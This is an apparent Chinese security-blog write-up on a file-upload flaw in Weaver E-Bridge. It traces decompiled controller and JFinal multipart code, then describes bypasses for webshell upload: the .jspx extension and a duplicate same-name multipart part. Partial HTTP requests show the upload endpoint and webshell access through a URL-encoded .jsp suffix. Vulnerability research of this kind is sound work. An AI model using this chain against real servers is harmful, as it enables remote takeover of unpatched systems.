大数跨境
0
0

泛微云桥文件上传与JFinal Bypass

泛微云桥文件上传与JFinal Bypass WgpSec狼组安全团队
2025-09-03
0
导读:泛微云桥文件上传与JFinal Bypass

点击蓝字

关注我们



声明

本文作者:Y4tacker

本文字数:3708字

阅读时长:20分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

.

泛微官网做了紧急安全更新 https://www.weaver.com.cn/cs/security/edm20240725_kdielfrovkewpiiuyrtewtw.html

云桥<=2023116 && 安全补丁<20240725


漏洞分析

比较好的是官网公告中给出了实际利用的地址

/wxclient/app/recruit/resume/addResume?fileElementld=aaa

因此我们直接进入代码看看逻辑即可

经过简单的搜索发现,对应处理类在weaver.weixin.app.recruit.controller.ResumeController#addResume

逻辑非常简单,只需要关注第一个if所在片段即可,因为后面的处理逻辑主要与数据库操作有关

@ActionKey("/wxclient/app/recruit/resume/addResume")
@Before({Tx.class})
public void addResume() throws Exception 
{
    try {
        WxBaseFile wbFile = null;
        if (this.getContentType().toLowerCase().startsWith("multipart/form-data")) {
            wbFile = this.getWxBaseFile(this.wxBaseFileService, this.getPara("fileElementId"), (String)null2097152, (String)null);
        }

        ResumeModel model = (ResumeModel)this.getModel(ResumeModel.class, "resume");
        if (wbFile != null) {
            model.set("accessory", wbFile.getId());
        }

        if (this.resumeService.addResume(model, this.getPara("sysagentid"))) {
            this.renderJsonMsgForIE("提交成功"true);
        } else {
            this.renderJsonMsgForIE("提交失败"false);
        }

    } catch (Exception var3) {
        if (var3.getMessage().indexOf("2097152") != -1) {
            this.renderJsonMsgForIE("上传文件大小不能超过2M"false);
        } else {
            this.log.error(var3.getMessage(), var3);
            this.renderJsonMsgForIE("程序异常,请联系管理员!"false);
        }

        throw var3;
    }
}

对应在weaver.weixin.core.controller.BaseController#getWxBaseFile(weaver.weixin.base.service.WxBaseFileService, String, String, int, String),由于传入的参数中filePathfileEncoding为空,所以会分别调用FileUploadTools的不同方法,编码比较简单就是UTF-8,我们主要看文件路径处理部分

public WxBaseFile getWxBaseFile(WxBaseFileService wxBaseFileService, String parameterName, String filePath, int fileMaxSize, String fileEncoding) throws Exception {
    String _filePath = StrKit.isBlank(filePath) ? FileUploadTools.getRandomFilePath() : filePath;
    int _fileMaxSize = fileMaxSize == -1 ? FileUploadTools.getMaxSize() : fileMaxSize;
    String _fileEncoding = StrKit.isBlank(fileEncoding) ? FileUploadTools.getEncoding() : fileEncoding;
    UploadFile uf = null;

    try {
        uf = this.getFile(parameterName, _filePath, _fileMaxSize, _fileEncoding);
    } catch (Exception var11) {
        this.getFile();
        throw var11;
    }

    returnthis.parseUploadFile(wxBaseFileService, uf);
}

从以下逻辑中我们不难推断出文件上传的路径为/upload/年月/两个随机字符/

// weaver.weixin.base.file.FileUploadTools#getRandomFilePath
privatestatic SimpleDateFormat sdf = new SimpleDateFormat("yyyyMM");

public static String getRandomFilePath() {
    return initFilePath();
}

public static String initFilePath() {
    StringBuffer sb = new StringBuffer();
    if (GCONST.getFileRootPath() != null && !"".equals(GCONST.getFileRootPath())) {
        sb.append(GCONST.getFileRootPath());
    } else {
        sb.append(PathKit.getWebRootPath() + File.separator + "upload");
    }

    sb.append(File.separator + sdf.format(new Date()));
    sb.append(File.separator + getUpEng());
    return sb.toString();
}

public static String getUpEng() {
    Random r = new Random();
    char c = (char)(r.nextInt(26) + 65);
    char b = (char)(r.nextInt(26) + 65);
    return String.valueOf(c) + String.valueOf(b);
}

回到weaver.weixin.core.controller.BaseController#getWxBaseFile(weaver.weixin.base.service.WxBaseFileService, String, String, int, String)我们重点是查看try-catch分支的代码

try {
    uf = this.getFile(parameterName, _filePath, _fileMaxSize, _fileEncoding);
catch (Exception var11) {
    this.getFile();
    throw var11;
}

跟进com.jfinal.core.Controller#getFile(java.lang.String, java.lang.String, java.lang.Integer, java.lang.String),在第一行getFiles的调用中可以看到先是初始化了一个MultipartRequest对象

public UploadFile getFile(String parameterName, String saveDirectory, Integer maxPostSize, String encoding) {
    this.getFiles(saveDirectory, maxPostSize, encoding);
    returnthis.getFile(parameterName);
}

public List<UploadFile> getFiles(String saveDirectory, Integer maxPostSize, String encoding) {
    if (!(this.request instanceof MultipartRequest)) {
        this.request = new MultipartRequest(this.request, saveDirectory, maxPostSize, encoding);
    }

    return ((MultipartRequest)this.request).getFiles();
}

public UploadFile getFile(String parameterName) {
    List<UploadFile> uploadFiles = this.getFiles();
    Iterator var4 = uploadFiles.iterator();

    while(var4.hasNext()) {
        UploadFile uploadFile = (UploadFile)var4.next();
        if (uploadFile.getParameterName().equals(parameterName)) {
            return uploadFile;
        }
    }

    returnnull;
}

同样的在初始化过程中,我们主要可以看它通过wrapMultipartRequest包装了我们的请求

public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding) {
    super(request);
    this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}

public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize) {
    super(request);
    this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}

public MultipartRequest(HttpServletRequest request, String saveDirectory) {
    super(request);
    this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}

public MultipartRequest(HttpServletRequest request) {
    super(request);
    this.wrapMultipartRequest(request, saveDirectory, maxPostSize, encoding);
}


private void wrapMultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding) {
    if (!isMultipartSupported) {
        thrownew RuntimeException("Oreilly cos.jar is not found, Multipart post can not be supported.");
    } else {
        saveDirectory = this.handleSaveDirectory(saveDirectory);
        File dir = new File(saveDirectory);
        if (!dir.exists() && !dir.mkdirs()) {
            thrownew RuntimeException("Directory " + saveDirectory + " not exists and can not create directory.");
        } else {
            this.uploadFiles = new ArrayList();

            try {
                this.multipartRequest = new com.oreilly.servlet.MultipartRequest(request, saveDirectory, maxPostSize, encoding, fileRenamePolicy);
                Enumeration files = this.multipartRequest.getFileNames();

                while(files.hasMoreElements()) {
                    String name = (String)files.nextElement();
                    String filesystemName = this.multipartRequest.getFilesystemName(name);
                    if (filesystemName != null) {
                        String originalFileName = this.multipartRequest.getOriginalFileName(name);
                        String contentType = this.multipartRequest.getContentType(name);
                        UploadFile uploadFile = new UploadFile(name, saveDirectory, filesystemName, originalFileName, contentType);
                        if (this.isSafeFile(uploadFile)) {
                            this.uploadFiles.add(uploadFile);
                        }
                    }
                }

            } catch (IOException var12) {
                thrownew RuntimeException(var12);
            }
        }
    }
}

在以上函数中我们主要关注com.oreilly.servlet.MultipartRequest#MultipartRequest(HttpServletRequest, String, int, String, com.oreilly.servlet.multipart.FileRenamePolicy)isSafeFile两个部分

首先看isSafeFile,如果文件以jsp结尾那么会被删除

private boolean isSafeFile(UploadFile uploadFile) {
    if (uploadFile.getFileName().toLowerCase().endsWith(".jsp")) {
        uploadFile.getFile().delete();
        return false;
    } else {
        return true;
    }
}

另一方面我们再来看,这里完成了我们文件的写入

public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
    this.parameters = new Hashtable();
    this.files = new Hashtable();
    if (request == null) {
        thrownew IllegalArgumentException("request cannot be null");
    } elseif (saveDirectory == null) {
        thrownew IllegalArgumentException("saveDirectory cannot be null");
    } elseif (maxPostSize <= 0) {
        thrownew IllegalArgumentException("maxPostSize must be positive");
    } else {
        File dir = new File(saveDirectory);
        if (!dir.isDirectory()) {
            thrownew IllegalArgumentException("Not a directory: " + saveDirectory);
        } elseif (!dir.canWrite()) {
            thrownew IllegalArgumentException("Not writable: " + saveDirectory);
        } else {
            MultipartParser parser = new MultipartParser(request, maxPostSize, truetrue, encoding);
            Vector existingValues;
            if (request.getQueryString() != null) {
                Hashtable queryParameters = HttpUtils.parseQueryString(request.getQueryString());
                Enumeration queryParameterNames = queryParameters.keys();

                while(queryParameterNames.hasMoreElements()) {
                    Object paramName = queryParameterNames.nextElement();
                    String[] values = (String[])((String[])queryParameters.get(paramName));
                    existingValues = new Vector();

                    for(int i = 0; i < values.length; ++i) {
                        existingValues.add(values[i]);
                    }

                    this.parameters.put(paramName, existingValues);
                }
            }

            Part part;
            while((part = parser.readNextPart()) != null) {
                String name = part.getName();
                if (name == null) {
                    thrownew IOException("Malformed input: parameter name missing (known Opera 7 bug)");
                }

                String fileName;
                if (part.isParam()) {
                    ParamPart paramPart = (ParamPart)part;
                    fileName = paramPart.getStringValue();
                    existingValues = (Vector)this.parameters.get(name);
                    if (existingValues == null) {
                        existingValues = new Vector();
                        this.parameters.put(name, existingValues);
                    }

                    existingValues.addElement(fileName);
                } elseif (part.isFile()) {
                    FilePart filePart = (FilePart)part;
                    fileName = filePart.getFileName();
                    if (fileName != null) {
                        filePart.setRenamePolicy(policy);
                        filePart.writeTo(dir);
                        this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType()));
                    } else {
                        this.files.put(name, new UploadedFile((String)null, (String)null, (String)null, (String)null));
                    }
                }
            }

        }
    }
}

Bypass JFinal WebShell 落地限制

那么在这里我们便不难想到,既然限制以 jsp 为结尾,但没限制jspx,因此我们可以上传jspx,当然就算不用jspx也不是没有办法,毕竟我们文件会先落地,然后程序逻辑再判断是否文件 jsp 结尾做删除,我们也完全可以打一个时间差做条件竞争访问,当然这里还需要我们爆破路径名,因此这不是最优解,最优解还是上传一个 jspx 文件,当然在高版本的 JFinal 中也限制了 jspx 的写入

那么如果我们就是想上传一个 jsp 文件怎么办呢?依靠条件竞争在这个场景下显然不可能,而且也很麻烦

在这个过程中,我们要清楚,首先是在初始化的时候完成了文件的写入,之后才遍历files去删除,而这个被遍历的files属性来源于com.oreilly.servlet.MultipartRequest这里是存在一个逻辑漏洞问题,那就是在调用this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType()));时,代码逻辑并没有先判断 files 里面是否已存在 name,因此我们完全可以在后面再传一个同名的非 webshell 后缀完成变量的替换

this.multipartRequest = new com.oreilly.servlet.MultipartRequest(request, saveDirectory, maxPostSize, encoding, fileRenamePolicy);
Enumeration files = this.multipartRequest.getFileNames();


while(files.hasMoreElements()) {
    String name = (String)files.nextElement();
    String filesystemName = this.multipartRequest.getFilesystemName(name);
    if (filesystemName != null) {
        String originalFileName = this.multipartRequest.getOriginalFileName(name);
        String contentType = this.multipartRequest.getContentType(name);
        UploadFile uploadFile = new UploadFile(name, saveDirectory, filesystemName, originalFileName, contentType);
        if (this.isSafeFile(uploadFile)) {
            this.uploadFiles.add(uploadFile);
        }
    }
}


public MultipartRequest(HttpServletRequest request, String saveDirectory, int maxPostSize, String encoding, FileRenamePolicy policy) throws IOException {
xxxxxx省略垃圾代码xxxxxx
    } elseif (part.isFile()) {
                    FilePart filePart = (FilePart)part;
                    fileName = filePart.getFileName();
                    if (fileName != null) {
                        filePart.setRenamePolicy(policy);
                        filePart.writeTo(dir);
                        
                        this.files.put(name, new UploadedFile(dir.toString(), filePart.getFileName(), fileName, filePart.getContentType()));
                    } else {
                        this.files.put(name, new UploadedFile((String)null, (String)null, (String)null, (String)null));
                    }
                }
            }

        }
    }
}

因此很容易构造出如下 Payload

POST /wxclient/app/recruit/resume/addResume?fileElementId=aaa HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*

当然在这时候你又会发现访问的时候,发现对于.jsp/.jspx的文件无法访问,其实这又是 jfinal 的一个安全机制

Bypass JFinal WebShell 访问限制

在后面找到了其他师傅的文章,解决了这一问题,具体可看看这篇文章 https://forum.butian.net/share/1899

借助这篇文章里提到的内容我们很容易通过编码 jsp 的后缀达到访问 webshell 文件的效果

之后访问如下路径获得 webshell

POST /upload/202407/GL/y4tacker.%6a%73%70 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 39




作者



Y4tacker

宁静致远,淡泊明志



扫描关注公众号回复加群

和师傅们一起讨论研究~


WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec



【声明】内容源于网络
0
0
WgpSec狼组安全团队
WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次,为了我们的slogan:打造信息安全乌托邦。前进!
内容 136
粉丝 0
WgpSec狼组安全团队 WgpSec 狼组安全团队由几位热爱网络安全的年轻人一同组成过去的几年内没来得及让团队发生有效且质的变化这一次,为了我们的slogan:打造信息安全乌托邦。前进!
总阅读86
粉丝0
内容136